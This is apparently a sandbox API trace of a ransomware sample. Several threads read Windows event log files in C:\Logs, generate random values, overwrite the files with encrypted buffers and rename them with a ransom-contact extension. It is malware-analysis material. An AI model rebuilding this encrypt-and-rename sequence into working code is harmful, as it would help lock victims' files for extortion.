	[0080.456] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.456] ReadFile (in: hFile=0x9ac, lpBuffer=0x10d3f948, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10d3f944, lpOverlapped=0x0 | out: lpBuffer=0x10d3f948*, lpNumberOfBytesRead=0x10d3f944*=0x4, lpOverlapped=0x0) returned 1
	[0080.662] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0080.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34578
	[0080.662] NtQuerySystemTime (in: CurrentTime=0x10d3f924 | out: CurrentTime=0x10d3f924*=132251868074057134) returned 0x0
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x8025a1f1
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xab3349e4
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x241b2536
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x86330413
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x56615c2f
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x929eccbd
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x73a83d6c
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x9292c5a1
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x86c146d1
	[0080.662] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xbdd2ab6c
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x863c776c
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x174492e
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x3c845870
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x3990f87c
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xc5f0c23e
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x59fe3df3
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x520880c5
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xa09d0836
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x8d8cb4cf
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xc7915d22
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x98d88b04
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x408e02ef
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x9b8fd0f9
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xfdf38c09
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x9c790c6e
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xb4134f69
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xd669a836
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x5fb76285
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xd29f1e9a
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x7ea62f0c
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0x1ee166d
	[0080.663] RtlRandom (in: Seed=0x10d3f930 | out: Seed=0x10d3f930) returned 0xf298ffa8
	[0080.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34618
	[0080.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34668
	[0080.671] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0080.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e8b898
	[0080.674] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.674] ReadFile (in: hFile=0x9ac, lpBuffer=0x4e8b898, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10d3f904, lpOverlapped=0x0 | out: lpBuffer=0x4e8b898*, lpNumberOfBytesRead=0x10d3f904*=0xc800, lpOverlapped=0x0) returned 1
	[0080.685] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34690
	[0080.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34690) returned 1
	[0080.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e980a0
	[0080.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34690
	[0080.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.689] WriteFile (in: hFile=0x9ac, lpBuffer=0x4e980a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10d3f904, lpOverlapped=0x0 | out: lpBuffer=0x4e980a0*, lpNumberOfBytesWritten=0x10d3f904*=0xc800, lpOverlapped=0x0) returned 1
	[0081.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e980a0) returned 1
	[0081.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e8b898) returned 1
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bde90
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bd110
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33870
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ca8
	[0081.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ca8) returned 1
	[0081.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0081.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x155) returned 0x2dc3d68
	[0081.044] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.044] WriteFile (in: hFile=0x9ac, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x10d3f984, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x10d3f984*=0x155, lpOverlapped=0x0) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd110) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33870) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bde90) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34690) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0081.286] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0081.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476ba50
	[0081.286] wcscpy (in: _Dest=0x476ba50, _Source="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx"
	[0081.286] wcscat (in: _Dest=0x476ba50, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.286] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10d3f93c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47740b0
	[0081.286] NtSetInformationFile (FileHandle=0x9ac, IoStatusBlock=0x10d3f934, FileInformation=0x47740b0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0087.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47740b0) returned 1
	[0087.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e958) returned 1
	[0087.805] NtQueryInformationFile (in: FileHandle=0x9ac, IoStatusBlock=0x10d3f948, FileInformation=0x10d3f920, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10d3f948, FileInformation=0x10d3f920) returned 0x0
	[0087.805] NtSetInformationFile (FileHandle=0x9ac, IoStatusBlock=0x10d3f948, FileInformation=0x10d3f920, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ba50) returned 1
	[0087.809] FlushFileBuffers (hFile=0x9ac) returned 1
	[0092.924] CloseHandle (hObject=0x9ac) 

Thread:
	id = 410
	os_tid = 0x1590

	[0076.951] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0080.485] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.486] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1408
	[0080.486] GetFileSizeEx (in: hFile=0x1408, lpFileSize=0x10dbfb98 | out: lpFileSize=0x10dbfb98*=69632) returned 1
	[0080.486] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.486] ReadFile (in: hFile=0x1408, lpBuffer=0x10dbfb1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10dbfb18, lpOverlapped=0x0 | out: lpBuffer=0x10dbfb1c*, lpNumberOfBytesRead=0x10dbfb18*=0x4, lpOverlapped=0x0) returned 1
	[0080.875] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0080.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0080.875] NtQuerySystemTime (in: CurrentTime=0x10dbfaf8 | out: CurrentTime=0x10dbfaf8*=132251868076088010) returned 0x0
	[0080.875] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xd70dfedb
	[0080.875] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xc38c152d
	[0080.875] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x5e1b4a83
	[0080.875] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x558ba567
	[0080.875] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xd80fe597
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x68feb2ae
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xc92a3101
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xbd674269
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xb3595ada
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xa57bb5d5
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xe36b8a50
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x199e1b59
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x9b83b6bc
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x40cad3a0
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x9da238ed
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xf46724be
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xb97e41c4
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x4a4b4928
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x1257ce4f
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x8fa358e7
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x80168431
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x54e6cf40
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x8862bcd4
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x9fa3d33f
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xc042816a
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x4e5e7c98
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x3fb4df95
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xc9f5ef55
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x488ef80
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x9410eae9
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0xa782fd9
	[0080.876] RtlRandom (in: Seed=0x10dbfb04 | out: Seed=0x10dbfb04) returned 0x3893936
	[0080.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0080.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0080.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0080.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4914058
	[0080.887] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.887] ReadFile (in: hFile=0x1408, lpBuffer=0x4914058, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10dbfad8, lpOverlapped=0x0 | out: lpBuffer=0x4914058*, lpNumberOfBytesRead=0x10dbfad8*=0xc800, lpOverlapped=0x0) returned 1
	[0081.112] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c08
	[0081.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c08) returned 1
	[0081.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fd27f8
	[0081.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c08
	[0081.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.116] WriteFile (in: hFile=0x1408, lpBuffer=0x4fd27f8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10dbfad8, lpOverlapped=0x0 | out: lpBuffer=0x4fd27f8*, lpNumberOfBytesWritten=0x10dbfad8*=0xc800, lpOverlapped=0x0) returned 1
	[0081.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fd27f8) returned 1
	[0081.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4914058) returned 1
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5d) returned 0x4780bf0
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5d) returned 0x4780090
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33de8
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x141) returned 0x47811f8
	[0081.245] SetFilePointerEx (in: hFile=0x1408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.245] WriteFile (in: hFile=0x1408, lpBuffer=0x47811f8*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x10dbfb58, lpOverlapped=0x0 | out: lpBuffer=0x47811f8*, lpNumberOfBytesWritten=0x10dbfb58*=0x141, lpOverlapped=0x0) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47811f8) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780090) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780bf0) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c08) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77448) returned 1
	[0081.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0081.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5d098
	[0081.298] wcscpy (in: _Dest=0x2d5d098, _Source="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx"
	[0081.298] wcscat (in: _Dest=0x2d5d098, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.298] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10dbfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476cf68
	[0081.298] NtSetInformationFile (FileHandle=0x1408, IoStatusBlock=0x10dbfb08, FileInformation=0x476cf68, Length=0xbe, FileInformationClass=0xa) 

Thread:
	id = 411
	os_tid = 0x1594

	[0076.951] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0080.487] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", dwFileAttributes=0x20) returned 1
	[0080.487] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x140c
	[0080.487] GetFileSizeEx (in: hFile=0x140c, lpFileSize=0x10e3fa6c | out: lpFileSize=0x10e3fa6c*=69632) returned 1
	[0080.487] SetFilePointerEx (in: hFile=0x140c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.487] ReadFile (in: hFile=0x140c, lpBuffer=0x10e3f9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10e3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x10e3f9f0*, lpNumberOfBytesRead=0x10e3f9ec*=0x4, lpOverlapped=0x0) returned 1
	[0080.863] SetFilePointerEx (in: hFile=0x140c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0080.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.863] NtQuerySystemTime (in: CurrentTime=0x10e3f9cc | out: CurrentTime=0x10e3f9cc*=132251868075932651) returned 0x0
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x2d8f9605
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xa9f7f965
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xb088319f
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x27b4f655
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xf780b9f4
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x5d26a24f
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x566f5c35
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xe1a6d3b8
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xf302b375
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x6c541f10
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x5d72fff8
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x9fffe5fc
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x7a531762
